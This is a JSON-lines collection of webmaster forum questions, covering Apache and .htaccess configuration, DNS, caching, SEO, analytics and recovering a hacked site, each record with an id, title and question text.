{"id":"21752","title":"Apache2 virtual host localhost doesn't render CSS when offline because of absolute path","text":"I'm running apache2 on a local server. I use no-ip.com to route DNS to that server through my cable modem. While disconnected from the web and working on localhost my web pages don't render the CSS since WordPress is linking to the absolute domain URL. In my \/etc\/apache2\/sites-available\/default file for this host i have `ServerName www.example.com` and `ServerAlias localhost` which isn't working to let me view my site offline What can I add to my virtual hosts file to render the CSS? Or am I out of luck with WP and my zend application pointing to the domain which is unreachable while offline? Just a note only after I realized the file paths caused a problem while browsing localhost did I add the `ServerName` and `ServerAlias` to try and get it to work. Thanks"}
{"id":"8959","title":"Should I work on CSS or apps first?","text":"I am working on my own website for my business, and I need to contract out some assistance. For example, I have the site looking pretty good on Firefox, but it needs help on other browsers. I also need some help with adding some Django apps to the site and setting up a database. I plan to seek the help of two different individuals via elance or odesk. My question is which to do first - get the css and html right then do the apps, or get the apps done and then work on the css and html? Thanks in advance for any suggestions."}
{"id":"62854","title":"Why don't browsers respect cache headers for initial page request?","text":"I'm scratching my head a bit on this. A Drupal site I run is setting appropriate cache headers that should indicate that the page can be cached for 15 minutes. However, every time I hit the page it always sends a GET request instead of loading the page from the cache. I'm not forcefully refreshing the page each time, which I assume would indicate to the browser I want to flush the caches. I don't have any developer mode cache busting enabled. Is this just the default behavior of browsers, or am I missing something obvious? Here's the request\/response headers from hitting my homepage from FireFox dev tools: **NOTE\/EDIT** : Some people have suggested this was related to the `Expires` header being in the past. However `Cache-Control` overrides anything in `Expires`, as described in RFC 2616, Sec 14.9.3. Drupal includes this to disable caching on older HTTP 1.0 clients, which don't support the more advanced `Vary` header that Drupal needs for proper caching. "}
{"id":"26905","title":"rel=author, rel=me and Google Profile","text":"Based on the post as Google Webmasters, a google profile seems to be needed for `rel=author` to work But this post on our forum does not indicate that. How do I implement `authorship and rel=me` without any google profile?"}
{"id":"53497","title":"301 redirect conflicts with cname redirect for both naked and www URL","text":"Client had created a cname redirect for their www url which goes to their new web address, they were told to create a 301 redirect for the naked url but it's conflicting with the cname and the www url no longer redirects. How do I fix this?"}
{"id":"1984","title":"What steps should be taken to safeguard user-entered content on a CMS?","text":"Assume you're building a bulletproof CMS for your company. Cost, time, and technology are no issue. You've got developers ready to go with the knowledge and experience to crank out outstanding code. Now, you have to answer the age old CMS question: what steps do you take to ensure that the code entered into the CMS by the user is acceptable for your site? I'm thinking beyond just technically escaping a string to make it able to go into a database--there are considerations for w3 standards, filtering for inappropriate content, spelling, and such conundrums as Microsoft Word code scrubbing. Certainly, there are concerns that I've missed..."}
{"id":"3217","title":"web designer question","text":"I'm a web developer for a year and a half now. I work particularly on client- side. I'm good at (x)HTML\/CSS\/Javascript\/jQuery. My work goes in converting PSD files to (x)HTML. (PSD files came from clients) Now I'm planning to go on designing too. My knowledge of photoshop is just the basic, I guess - Just the things I need to effectively convert PSD files to a web page. I'm really eager to learn. My questions: * How can I learn this with just the internet and me? * Are there steps or guides you know that could help me as a newbie? * What are the challenges I may face and what can you suggest? * What tool(s) would you suggest? Thanks."}
{"id":"1982","title":"How to fix a site that Google tells you is infected","text":"I work for a company that setup a website, this one thelinearshop.com **_(warning this site contains malware so don't go there if you are concerned)_** , before I started working for them. The site uses OSCommerce. It now looks like someone was able to infect it with a malware link and jumble the site itself and when I visit the site I get a warning page from Google with the choice to leave, go to http:\/\/safebrowsing.clients.google.com\/safebrowsing\/diagnostic?client=Firefox&hl=en- US&site=http:\/\/thelinearshop.com\/ for info on why it is getting blocked, or to ignore the issue. I have looked at the site and someone definitely hacked it. I have never run into this before and I am not sure how to proceed in order to get this fixed. I know I need to get the virus out but I am also concerned that whoever set the site up used an older version of OSCommerce and that it must not be very secure. Is that the case?"}
{"id":"1636","title":"How can I prevent a power user from calling my ajax functions?","text":"I have a site that uses ajax calls to perform a number of functions. They have the webbrowser call back to a script - ajax.php. Though I use post data to transmit the data and limit the commands that the ajax script can call, there is really nothing preventing users from spoofing ajax calls to attempt to manipulate the site. Is there some blanket way to prevent users from spoofing the calls? Is there a way to ensure that an ajax call does in fact come from my website and not from some other script or site? Or do I simply have to check the boundary conditions in the php script and prevent the users from spoofing things they wouldn't be allowed to do, but allow them to spoof where they would be allowed."}
{"id":"3218","title":"What is SSL Hosting and what are the requirements for making secure transaction","text":"I am here in order to collect the information for making secure online transaction. My client has got a online shopping site. We are now having cart in our own site and transfering the cart detail to paypal and making the payment via paypal. So now i would like to add the credit card request page in own site and process it so i would like to know what are my requirements"}
{"id":"3219","title":"Design for paging panels","text":"The typical design for a paging panels (of search engines and the like) looks like this: Previous 11 12 [13] 14 15 16 17 18 19 20 Next But if you read that you would expect (if not educated by search engines) that \"Next\" will lead to the successor of page \"20\" and not of \"13\". If we need \"Previous\" and \"Next\" at all, wouldn't it be better to place it, where their meaning is obvious? 11 12 Previous [13] Next 14 15 16 17 18 19 20 or maybe 11 12 < [13] > 14 15 16 17 18 19 20 The question is: is \"Previous\" and \"Next\" really useful and if so where to place it?"}
{"id":"1989","title":"Credit card start and end date selection","text":"I'm implementing part of a payment process for a website and am just putting together the enter card details screen (card number, card holder's name, card start\/expiry dates etc.). I'm implementing the card start\/expiry dates as month and year dropdowns but am not sure which years I should cover to ensure no one is unable to enter their details. Does anyone have any information as to how long cards are issued for so as to determine the earliest possible start year and latest possible end year? Also do I need to worry about any overlap of the current date. e.g. in December 2010 is it possible someone may have a valid card with a start date of January 2010?"}
{"id":"41021","title":"Hide a Subdomain from Google\/Search Engine SEO Result?","text":"I have a subomain which I do not want to be listed in any search engine result. Let say I have: * `http:\/\/www.example.com` * `http:\/\/child.example.com` How can I hide **all** URLs of `child.example.com` domain which are currently showing in the search engine results?"}
{"id":"2740","title":"PHP include drop down navigation","text":"I have a php document and am using include to include my drop down navigation. The navigation is an external html with external js and css elements. Code is: <div id=\"nagivation\"> <?php include (\"navigation.html\");?> <\/div> <!--end #navigation!--> Unfortunately my drop down works great in it's html page, but once brought into my main page, none of the hovers work. In my navigation.html, I have included: <script type=\"text\/javascript\" src=\"js\/ecmNavigation.js\"><\/script> <link href=\"css\/ecmNavigation.css\" rel=\"stylesheet\" type=\"text\/css\" \/> <link href=\"css\/ECM_HelpFile.css\" rel=\"stylesheet\" type=\"text\/css\" \/> in my template.php, I have included: <link href=\"css\/ECM_HelpFile.css\" rel=\"stylesheet\" type=\"text\/css\" \/> <link href=\"css\/ecmNavigation.css\" rel=\"stylesheet\" type=\"text\/css\" \/> Any suggestions? I need to keep the navigation in a global document, but have not been able to use iframe or obkect in order to embed as the whole menu will not display as it is confined to the size of iframe and object. (the menu is huge)"}
{"id":"8546","title":"Joomla 1.6 -- Ready for a Production?","text":"I am redesigning a business website and will be porting it into Joomla. The functionality of the site will be fairly simple. I would like to use Joomla 1.6. Is the new version of Joomla at an acceptable stage for production?"}
{"id":"569","title":"Common optimizations to reduce HTML or XHTML page size?","text":"What are some common optimizations performed to reduce HTML or XHTML page size? Some that come to mind are: * removing comments, * removing extraneous whitespace, * moving repetitive inline styles to a CSS stylesheet, * etc. What are some others? Which offer the biggest bang-for-the-buck or could be performed automatically by a tool or module?"}
{"id":"560","title":"Are date of birth forms necessary for alcoholic websites?","text":"I've noticed that many beer and spirits companies often require you to enter your date of birth before entering their site (ex. Budweiser.com). Is this form legally required? Or is it just a popular convention? If it isn't legally required\/recommended, wouldn't it be a bad idea to funnel users through a form like this, just to see the content of your site?"}
{"id":"29485","title":"Where can I find an exhaustive list of meta tags and what they do?","text":"It seems to me that there are **a ton** of `<meta>` tags for all sorts of different purposes out there... Though they all follow a similar format of <meta name=\"\" content=\"\" \/> they seem to serve a vast variety of different purposes from controlling the crawling of search engine bots, providing search engine bots with descriptions of pages, to making sure a page display correctly on a mobile device. These tags fall into so many different categories I was wondering if anyone had a wiki or master list of possible meta tags and their content."}
{"id":"67221","title":"Piwik visitor log spam","text":"I use Piwik to track people visiting my website. Unfortunately a lot of the visitors that appear in the visitor log are not real people but spam bots. Normally, these bots use a provider from a country that differs from my target audience. They always refer to a spam site, as you can see in the referrer column.  Because my website is relatively small, theses bots distort statistics (visits over time etc.) and make the visitor map almost useless. Is there anything I can do to block them?"}
{"id":"2819","title":"Serve pages based on search query AND avoid cloaking","text":"I have a website offering translation services in several languages (www.your- translations.com), as well as many articles for translators and translation software. Most visitors come from search engines and I want to customize the experience for the visitors based on the search string. For instance, if the visitor searches for \"English to French translation\", I want to show him the page on English to French translation instead of a generic \"Translation services\" page and if he searches for tech detail on a translation software, I would rather direct him straight to the article section. Google and other SEs have a tendency to send most of my visitors straight to my home page which is less than ideal for the visitors. After all, if they search for French, odds are that they don't care about my pages on the Chinese market. The problem is that it results in some minor cloaking (The SE collected the page as \"Translation services\", but I display \"English to French translation services\" to the visitor) which is supposed to be a major no-no for SEs, even though it actually improves the website usability for the visitor. Is there a better way to do the same thing? Or am I simply worrying too much about what Google & co will do about such an evil instance of cloaking?"}
{"id":"44309","title":"FDA compliant online-marketing of products in the US","text":"For a US site we have to market products for the research market. These products are helpful in medical applications but do not meet FDA requirements. Is a general disclaimer on the site sufficient to strike out non-FDA compliance, or do we have to mark every product with something like \"for research only\"? In addition, does this require e.g. to use only images without components that might be appropriate for FDA? Thanks for your help!"}
{"id":"33687","title":"Is it a good idea to design website with HTML 5 and css3?","text":"New HTML5 and CSS3 introduced lot of new features,although it is not completely supported by most of the browsers.Is it a good idea to design a website using HTML5 and css3? and for browsers which not support HTML5 display low bandwidth version of it? or there exists any library's(js) to fix HTML5 and CSS3 comparability for browsers like IE 6 or Firefox 3?"}
{"id":"18285","title":"How to point two domains to one ip address with a sub-domain","text":"I am a little stuck here I currently have a domain: www.my-site.org & m.my-site.org I want to point m.mainsite.org to m.my-site.org I already have an A record created for m.mainsite.org I need to know what I have to do to the server that my-site.org is on. I have this site on a unix apache server. Any help would do. Thanks!"}
{"id":"18282","title":"Customize Facebook Like Box - Policy Infringement","text":"I'm just about to finish up a web project, and so far I've got good social media integration into the site's theme (Youtube and Twitter)...except Facebook Like Box for a not-for-profit's Facebook Page! I would very much like to show it as is without the border and the _Facebook Social Plugin_ hyperlink at the bottom, and I've found out how to do so via the following links: * http:\/\/line25.com\/tutorials\/how-to-add-a-custom-facebook-like-box-to-your-site * http:\/\/www.daddydesign.com\/wordpress\/how-to-customize-your-facebook-fan-box\/ Both are great resources, and allow me to accomplish my goal of total theme integration, but I came across the following Facebook policy: > IV. Application Integration Points - 4.d. You must not obscure or cover > elements of our social plugins, such as the Like button or Like box plugin. By definition to _obscure_ is to conceal something, and granted that the only thing I want to conceal is the _Facebook Social Plugin_ hyperlink (and perhaps change a few colors), but I've see a lot of sites that have done what I intend to do. The last thing I want is for my client's page\/profile to get banned from Facebook. So I'm asking anyone who has had experience with this particular issue, if what I intend to do **does** constitute a violation of that policy, and have you heard of pages\/profiles being banned from Facebook for the same reason?"}
{"id":"24225","title":"Address microdata for search engines using schema.org","text":"So I'm trying to mark up some microdata using a combination of the contact vcard microformat and the microdata format for places from: http:\/\/schema.org\/Place I'd love to do both at once, but I have a problem that I don't know whether microdata schemas require exact duplication of html, or whether they're entirely reliant on the attributes that they suggest. Does anyone familiar with using microdata know whether the structure of the html is important to the schema? Here is my current html attempt just as an example if it helps ??clarify?? (with php variables escaped out into the html): <div id='contact'> <h4 class='title' style='text-align:center;margin-top:1em'>Main Contact Info<\/h4> <div style='margin:0 1em;border:1px solid grey;padding:1em;width:45%' id=\"hcard-Sherman-Brothers\" class=\"vcard\" itemscope itemtype=\"http:\/\/schema.org\/LocalBusiness\"> <div class=\"org\" itemprop=\"name\"> ShermanBrothers in <?php h($row_rsLocation['City']);?> <\/div> <address class=\"adr\" itemprop=\"address\" itemscope itemtype=\"http:\/\/schema.org\/PostalAddress\" style='display:block'> <div itemprop=\"streetAddress\" class=\"street-address\"> <?php echo $row_rsLocation['Address1']; if (!empty($row_rsLocation['Address2'])) { echo '<br>'.$row_rsLocation['Address2']; } ?> <\/div> <span class=\"locality\" itemprop=\"addressLocality\"><?php h($row_rsLocation['City']);?><\/span>, <span class=\"region\" itemprop=\"addressRegion\"><?php h($row_rsLocation['State']);?><\/span>, <span class=\"postal-code\"><?php h($row_rsLocation['ZipCode']);?><\/span> <span class=\"country-name\">USA<\/span> <\/address> <a itemprop=\"telephone\" href='tel:<?php h($row_rsLocation['Phone']);?>' class=\"tel\"><?php h($row_rsLocation['Phone']);?><\/a> <\/div><!-- End of vcard class --> <\/div><!-- End of contact div -->"}
{"id":"18289","title":"Facebook applications - how to get to know page ID?","text":"With Facebook API, within a custom app added to a fanpage, how do I recognize the fanpage ID? Here's what I'm trying to achieve: * user goes to the full-width canvas app, he authorizes himself there and allows the app to add a tab to one of the fanpages he's administrating * every Facebook user going to that fanpage, sees the tab and the tab contains content specific to that fanpage (that's why I need to know the fanpage ID) * if fanpage administrator wants to change something, he goes to the full-width canvas and logs in to my service (here's where I store what he wants to show in his Fanpage)"}
{"id":"43032","title":"How do I resolve this error?","text":"I found my website on Google recently, and the sublinks underneath the search entity title contains a suspicious link to Viagra tablets:  Professionals are observing my website all the time. How can I get rid of this spammy link as soon as possible? Can I manually tell Google what links to place there?"}
{"id":"5424","title":"What are the key concerns of ECM as it relates to web developers?","text":"As I understand it, Enterprise Content Management (ECM) is a system of methods and strategies relating to managing and delivering documents and content in support of a business. This obviously goes beyond what the standard CMS does in a web or intranet setting, but what functionality does a CMS need to include to support Enterprise Content Management? I know that many large organizations simply use Drupal (or even WordPress) as their CMS for their website(s). So is ECM a standalone system completely unrelated to web content management, or does a web developer need to pay care to a special set of concerns when it comes to developing or deploying a CMS for an enterprise organization? Off the top of my head, the only requirement I can think of for a CMS to support ECM is to support complex permissions and allow a large number of users to update\/manage content (e.g. employees at different levels and in different branches of the company). Is there anything else that we as web developers need to keep in mind?"}
{"id":"47972","title":"How to determine, who to contact for transferring my Domain","text":"My client's domain, `www.daccusa.org`, is hosted at `inmotionhosting.com`. They tell me though, that the domain itself, is not. I've spoken with two different customer supports at `inmotionhosting.com` and they both tell me two different things. One says \"I have to get in touch with `www.joker.com`\" and the other one tells me that \"I have to get in touch with `webhosting.dk`\". According to my _whois_ search, the registrar is _Joker_ and the name-server is _Webhosting_ , and according to the control-panel over at `joker.com`, I don't have any domain registered, but I can however login with my information (e-mail and re-generated password). (WHOIS) I want my domain transferred to `inmotionhosting.com` - which one ( _Joker_ \/*Webhosting*) should I ask for the transfer?"}
{"id":"47976","title":"Open Source website performance monitoring","text":"I am looking for an Open Source solution to monitor my web sites' performance over time. More specifically, I am looking for something I can run on a server that will (on a continual basis) monitor page load times including all assets. Something similar to webpagetest.org, but that will provide graphs over time to display sites performance. Now I realize I could build a solution using jMeter and Jenkins to run on a regular basis and provide me with this information, but that seems clunky, and I see jMeter as more of a load-testing tool and not a site performance analysis tool. Also I have experience with Nagios, Graphite, and Collectd, but I haven't been able to find any plugins that will load all assets, only HTML response times. I have to believe something like this exists, but my google foo is failing me. Similar Commercial Solutions: * https:\/\/www.site24x7.com\/ * http:\/\/www.neustar.biz\/ Thanks in advance, -BassKozz"}
{"id":"3370","title":"Will embedding YouTube videos vs. Flash videos make a difference for SEO purposes?","text":"Looking to find a solid list of SEO benefits to using YouTube videos on my site vs. flash video or anything else for that matter? Clearly YouTube is owned by Google so that is a plus. YouTube is also a huge search engine in and of itself. YouTube also has built in features to help share it with others which could tie in... Thanks in advance for any thoughts on this!"}
{"id":"58713","title":"Changing file extensions in URIs - Server Error after Apache upgrade","text":"Please can anyone help to identify flaw or incompatibility in .htaccess code causing server error? In the process of changing over from static to dynamic website, I had to maintain some static files with `.html` extension, but others were replaced with `.php` extension. Furthermore, I wanted visitors to be able to access any files by file name alone without the extensions. Example: `about.html` became `about.php`, but `index.html` did not change. I wanted to ensure that browsers would return the correct files even if the uri typed was only `http:\/\/domain.com\/about` or `http:\/\/domain.com\/index`. The following code - implemented some years ago, and I've lost track of the source - has worked perfectly all this while, until today. # REWRITE FILE URI TO file.php IF EXISTS Options Indexes +FollowSymLinks +MultiViews Options +ExecCGI RewriteEngine on RewriteBase \/ # parse out basename, but remember the fact RewriteRule ^(.*).html$ $1 [C,E=WasHTML:yes] # rewrite to document.phtml if exists RewriteCond %{REQUEST_FILENAME}.php -f RewriteRule ^(.*)$ $1.php [S=1] # else reverse the previous basename cutout RewriteCond %{ENV:WasHTML} ^yes$ RewriteRule ^(.*)$ $1.html All of a sudden, this block of code is causing a server error. Website is on shared hosting, and I do not have shell access. Server was recently upgraded. Right now my account is running on PHP 5.3.28, Apache 2.4.7. Even after the upgrade last week, everything was still okay. Only today it has ceased to work. I renamed the .htaccess file and created a fresh file, pasted in fresh code, but sure enough, this bit of code is causing the server to choke. Can anyone point out what might be the problem?"}
{"id":"58226","title":"Webmaster Tools shows Internal Links from old site (not ours)","text":"In the Google Webmaster Tools account of my latest project I can see 57 Internal Links (links to internal pages), that are not actually from our site. Since we just launched it, there are no real internal links, only these \"fake\" ones. My only guess is that at some point in the past, someone used that domain name, and now these links live somewhere in the internet and currently lead to 404 page in our site. So my question is, how to tell Google that these links are not actually part of our site and they have never been ?"}
{"id":"59599","title":"robots.txt could be overridden by another robots.txt in sub folders?","text":"_robots.txt_ is supposed to go in the root directory, I know. But, could it be overridden by another _robots.txt_ inside a sub directory?"}
{"id":"34215","title":"Garbled text in server logs","text":"I recently looked over my server's logs and I found a bunch of garbled text. Here is a link to the full log, and here is a snapshot of what it looks like: ¹^œÌÓûFF™ÃŒ-ôÚÏàÃÒNRs§cÝi ~F#J\"|³Ôq0ã~QQbA ¼¹¦’š¶É3œßå<ú€Ç©XAwdL?R°ÝbÒt©ôÇ·Æ…÷q˜ÇѺ| Þ,߯¡Êr yR¤Q¹Jêlš‘AzP\\ ¦ÂY„ÉÉ,æ™ U™»ì³ÔÝáCÿ42‹Ö.nŽÉ2%ÓN8i4Œ®¿‘•\"-se•äŽ¿ÊÁ§€þ 8åv%'#Äpžs\/ÙÍ:¡1ÑÖÃå ºu|Q®!ÏyÆ,NR@¶ËȯRDkã=ÿÀܸ ›¼Ô ’ð>ÓÌBftdÃ8–é}‰[øbãÝÁ嘲b¾W n´tTœpäNëëÔ ·RUÓP+ÅuKÁ£¬\\âÌ®:J<ÍÁ0:Q%ª(Œ˜E-ÁI:ï™4®hæœT†«);°Çda@´#èì}‡£ü•{57ý]¼|øÓñð÷ÈÌð‡MkŠâ•C~$Óô#ÙV¾Núå.#Á]vôžóæ» V&8)%øVSž“±ÔQLåÓý1–ŽÃßQ$¹ýž\")ÈûQcÄý_ÔüGP=s‹vq#Pmoo.tigertutorialscomµÐOKÃ0ð»Ÿâ‘ØH“ What is this? and is someone trying to do something to my website?"}
{"id":"57152","title":"My website's DNS no longer resolved after my hosting provider suffered a DDoS attack","text":"I registered a couple of domains with a local hosting provider. I set up the records with the correct IP address. My servers are colocated in another data- center, not with this provider. After filling out the necessary forms, it said: > Your changes will be visible in the next 15 minutes. For the rest of the > world, it can take up to 24 hours. We have no influence on that. This worked OK, my servers were reachable worldwide after about an hour. So far so good, everything normal, behaving as expected. But now the strange thing happens: this hosting provider suffered from a DDoS attack. It happened two times in the last three months. The attacks put them offline for about a day, twice. My websites were unreachable during these attacks. Even a ping, from any computer on any ISP, to my domain names didn't work, returning the message: `unknown host`. My sites were perfectly reachable if the IP address was used however. To the best of my knowledge... if some user anywhere in the world wants to connect to my website, they resolve the IP address using their ISP's DNS server. But in this case they couldn't. It appears their DNS server could not provide the correct IP address as long as my hosting provider was down. Could it be that their DNS server actually has to resolve at my hosting provider to answer the request to resolve?"}
{"id":"30923","title":"Unable to ping IP address between two locations","text":"I have two locations office and home. From home I am unable to access my mail server and from the office I am unable to access my personal web server. Now, these two locations are about 100 yards away and share the same connection from the ISP. It's payed for on the same account. Also they both have different static public IP addresses. office is `216.248.94.xxx` and home is `216.51.158.xxx`. I cannot ping each address from each location."}
{"id":"33796","title":"Url redirecting\/masking\/proxying","text":"Sorry about the title, I'm not quite sure what to call what I'm trying to do. Our university department (distance ed.) has two servers: a WordPress-only server and a main\/everything else server. **Blog url** : blog.distance.school.com **Everything else url** : distance.school.com I want to create a WordPress site that lives at: blog.distance.school.com\/facultyresources, but when people access it, I want them to see it at: distance.school.com\/facultyresources. Is this masking? Proxying? I'm not even sure. **tl;dr:** — WP will be installed at blog.distance.school.com\/facultyresources — users will access at: distance.school.com\/facultyresources Thanks for any advice you might have!"}
{"id":"31682","title":"Google displaying swf menu in SiteLinks","text":"I have a website that uses a Flash based menu as its main navigation. A plain HTML fallback version is \"lying underneath\", the swf is embedded using `swfobject`. swfobject.embedSWF('MENU.swf', 'menu', '1000', '600', '8.0.0', 'ext\/expressInstall.swf', {}, {wmode:'transparent',bgcolor:'#666666'}, {}); Somehow Google now started displaying a link to the `swf`-file in the SiteLinks (noting `[SWF]` beforehand) which is pretty ugly as the Flash content gets all scrambled and all you see is a random string of characters and numbers (it looks \"hacked\" to me, although I do know it is not). Also, the link to the `swf` is plain useless as it relies on JavaScript-functions in the HTML-document. I already demoted the `swf` in the Webmaster Tools, yet in some situations the link will still show up. Is anyone aware of this problem (I haven't found too much on this on the Internet) and knows how I can keep the search results from linking to the `swf`?"}
{"id":"31681","title":"Help with URL Rewrite","text":"I have a page that selects some info from a database and displays it with a link to a second page that uses the result to query the database, something like this: $sel=mysql_query(\"select id, title from thetable \"); while($row=mysql_fetch_array($sel)) { $id=$row['id']; $title=$row['title']; echo \"<a href='more.php?id=$id'>$title<\/a>\"; } The issue is, in the more.php page, instead of more.php?id=5 to show in the address bar, I want something like more\/title Secondly, as it obtains in most sites, I want the link on the referring page to show this friendly url on mouse hover not the more.php?id=5 And I notice in most sites some words like 'a', 'and', 'the' etc are usually removed from the url title(even if there originally), moreover how does one handle the situation where more than one record have the same title. How does one go about achieving this url rewrite with htaccess or whatever method is used?"}
{"id":"13957","title":"Changing nameservers for a domain on GoDaddy","text":"I am redoing a website for a friend of mine. The domain was purchased on GoDaddy. The hosting was purchased elsewhere. After having problems with the hosting company and making some updates I decided to switch the hosting to Network Solutions. I have purchased the hosting from NS and just want to set the new NS nameservers on GoDaddy for the domain. I tried entering in the FTP server name from NS but it said it was not registered. Any help would be appreciated here."}
{"id":"4242","title":"How to receive sensor input, eg. gyroscope? (existing technology or future proposals)","text":"Is there currently a way to for a web application to receive data from mobile device's sensors (eg. gyroscope, accelerometer, compass) through its browser? If not, do any formal proposals exist for how this might be achieved in the future?"}
{"id":"4243","title":"Is Live Chat a valuable feature?","text":"Does having a live chat feature on a website increase conversions enough to cover the cost administration? Most of the data I have found comes from companies selling live chat solutions and is unreliable in my opinion. Do users find this as a valuable feature or an annoyance? Personally, I'm annoyed by sites that use live chat especially when a little box pops up without my explicit request, but if users find this valuable then I should consider implementing it. Any concrete data is appreciated."}
{"id":"5520","title":"Set up a newsletter system for my site","text":"I would like to filter my registered users db, check the ones who suscribed to the newsletter and send an HTML type email. Are there some scripts out there for this? A cPanel feature maybe? Or do i have to write this with a php script? Thanks in advance."}
{"id":"59663","title":"Is there a \"current directory\" variable in .htaccess RewriteRule?","text":"In a .htaccess file in the subfolder \"\/preview\" (not in document root), I have this rule: RewriteRule !^public\/ \/preview\/forbidden.php [L,R] It redirects all \/preview\/\"something\" requests that are not in \/preview\/public\/ to the fobidden message. However, I don't like the fact that the directory name \"preview\" is in the .htaccess file. I would like to copy the entire website to another folder or server simply by copying the file without having to change the .htaccess file. So, is it possible to achieve the effect of that rule in some other way?"}
{"id":"5523","title":"Do new lines in the title tag affect SEO?","text":"I is common thing that if you have some login that creates the title tag content to finish with several new lines in it. For example: <title> Title | Category | My Site Name <\/title> Does this has some semantic falls? Is it bad for SEO?"}
{"id":"18138","title":"Host Private videos on my site or use third party video hosting","text":"I’m working on a e-learning startup. We are going to have recorded video lectures from professors ranging from 30-45 minutes long which are going to be accessible to students once they register and pay for the course. Hence these are private videos. 1. What is the best format to save these videos in, FLV, MP4 or something else? I’m leaning towards MP4 as FLV videos won’t play on iPads and iPhones. 2. Most importantly, where do I host these video files? Should we host them on our servers or use third-party video hosting? I’m inclined towards third party because that will reduce the load on our servers and the video streaming experience would be better for users. 3. If I go for video hosting, what are my options? I can’t use YouTube because they don’t offer domain control. Vimeo does offer privacy of domain control but I don’t think I can use that for commercial purpose. Someone mentioned BitGravity but I haven’t checked that out. What options would be good for my usage?"}
{"id":"5527","title":"Premium News script","text":"what are possible premium News script available? We are a small company that wants to shift our attention to News\/Blogging service. What's the best premium script that we can buy for this?"}
{"id":"50787","title":"SSL: What are the differences between Domain Validation and Extended Validation Certificates?","text":"I can get Extended Validation for cheaper than Domain Validation, yearly. What are the differences between them?"}
{"id":"38548","title":"Migrate add-on domain olddomain.com to newdomain.com","text":"I have 2 domains that are registered at GoDaddy : domaina.com (not hosted, only domain name is registered to GD) domainb.com (hosted at a different webhost, domain name registered to GD) `domainb.com` is an already working site, with a different webhost, but the domain name is registered to GoDaddy (and I assume the nameservers are changed to redirect to the webhost). Now, I don't understand why this was done, but `domainb.com` is considered a subdomain on the host... meaning the files are in a seperate folder on the server. Ex : `public-html\/domainb.com\/public-html\/FILES` The structure is similar to this on the webhost: HostNAME (main root folder) domainb.com (subdomain of hostname) domainc.com (etc...) domaind.com (etc...) I want to transfer the site `domainb.com` to `domaina.com`, meaning `domaina.com` will become the new website, without having to re-upload all the content and CMS. The old one will redirect to `domaina.com` once the transfer is done (using 301 redirects). Can anyone tell me how I can do this?"}
{"id":"49","title":"What is new in HTML5\/CSS3?","text":"I've seen this site and this site, but that's a lot to digest. What are the main things about HTML5 that make it different\/better than regular old (X)HTML\/CSS?"}
{"id":"2875","title":"payment gateway","text":"> **Possible Duplicate:** > What are some options for taking payments on my website? What's a good payment gateway for an e-commerce shop with revenues of about 10.000 euros per week ?"}
{"id":"52424","title":"Tracking subdomains in Google Analytics?","text":"I set up a subdomain, and GA is showing traffic of the subdomain. However, going into Content section, GA is not showing pageviews of the pages of the subdomain. Instead, GA lumps all the pageviews in the subdomain. I checked the code of subdomain pages, and they're all the same as the subdomain homepage. Am I missing a dot somewhere? <script type='text\/javascript'>try { var _gaq = _gaq || []; _gaq.push(['_setAccount', 'UA-xxxxxxx-85']); _gaq.push(['_setDomainName', 'domain.org']); _gaq.push(['_setAllowAnchor', true]); _gaq.push(['_trackPageview', '\/?scid=a2412a40-1b66-4e0a-a1d5-f5b260de6ee8']); _gaq.push(['b._setAccount', 'UA-xxxxxxx-56']); _gaq.push(['b._setDomainName', 'domain.org']); _gaq.push(['b._trackPageview']); } catch (err) {} (function() { var ga = document.createElement('script'); ga.type = 'text\/javascript'; ga.async = true; ga.src = ('https:' == document.location.protocol ? 'https:\/\/ssl' : 'http:\/\/www') + '.google-analytics.com\/ga.js'; var s = document.getElementsByTagName('script')[0]; s.parentNode.insertBefore(ga, s); })(); <\/script>"}
{"id":"30087","title":"Google crawling old non existing pages","text":"I noticed in my Webmaster Tools account that Google is crawling old site URLs that no longer exist. Can anybody tell me where GoogleBot is getting these URLs?"}
{"id":"35007","title":"Edit robots.txt on google sites","text":"Getting many 404 errors on my website for the following URLs: \/system\/app\/pages\/admin\/revisions* I was going to put Disallow in robots.txt, but it seems there is no way to edit robots.txt in google sites. Did I miss an option? If it's not there, is there a workaround using Webmaster tools?"}
{"id":"35303","title":"Troubleshoot connectivity to certain site","text":"This is related to this problem of mine: cannot access my own web page The question is: Are there any tools or actions that I can try to determine what is blocking my computer from opening a certain website when other computers can open it normally?"}
{"id":"25028","title":"Will replacing 'to' with 2 or 'for' with 4 improve my site's PageRank","text":"Is it true that replacing words such as \"to\" and \"for\" with numbers (2 and 4 respectively) help increase my website's PageRank. Is it a useful SEO technique and if so why does it work?"}
{"id":"31356","title":"Domain name servers connecting time and details","text":"According to Ping reports my web browser is looking up DNS information in 180ms to connect my domain. I registered that domain name from godaddy.com. At the same time it takes 10ms for connecting to another domain. It is bought from bigrock.com. As my uncle said, all the domains are registered in networksolutions. **Then why is this much time difference?**"}
{"id":"67728","title":"Redirecting image hotlink to the article the image was used on; where\/how to store the connecting information?","text":"I have an app in node.js and I want to make a route that redirects all hotlinks to images to the article\/URL the image was used on. But since all the images are stored in `\/public\/img` directory and article URLs are generated programmatically, how do I tie down each image to its article? ..in a way that would allow me to redirects all hotlinks to the images to the article\/URL the image was used on? For example, My article is http:\/\/www.site.com\/blog\/archives\/2013\/article-slug\/ and it uses the image http:\/\/www.site.com\/img\/that-image.jpg because all images are stored in `\/public\/img` dir. Then if someone hotlinks to the image `http:\/\/www.site.com\/img\/that- image.jpg`, how do I redirect to the article it was used in `http:\/\/www.site.com\/blog\/archives\/2013\/article-slug\/`? (I can check whether it was hotlinked probably by checking the `referrer` header) But how do I store the relevant information about which image is used in which article, and how do I use that information to do the redirect?"}
{"id":"51460","title":"Should my blog be directly on my website?","text":"I have my newly launched website at `www.slicify.com` (redirects to a secure subdomain). I currently have a separate blog on WordPress: `slicify.wordpress.com` for a couple of reasons: * I don't really want to mix my site code (it's a complex ecommerce site written in ASP.Net) with blog code, for ease of maintenance etc. * WordPress is already great at blogs - seems silly to reinvent the wheel by trying to integrate blog functionality into my site However is keeping my blog on a separate domain going to hurt me in terms of PageRank or traffic? FWIW: while it's early days, I can see from Google Analytics that a good deal of referral traffic is already coming from my WordPress site to my main site, so at least that seems to be drawing potential users in."}
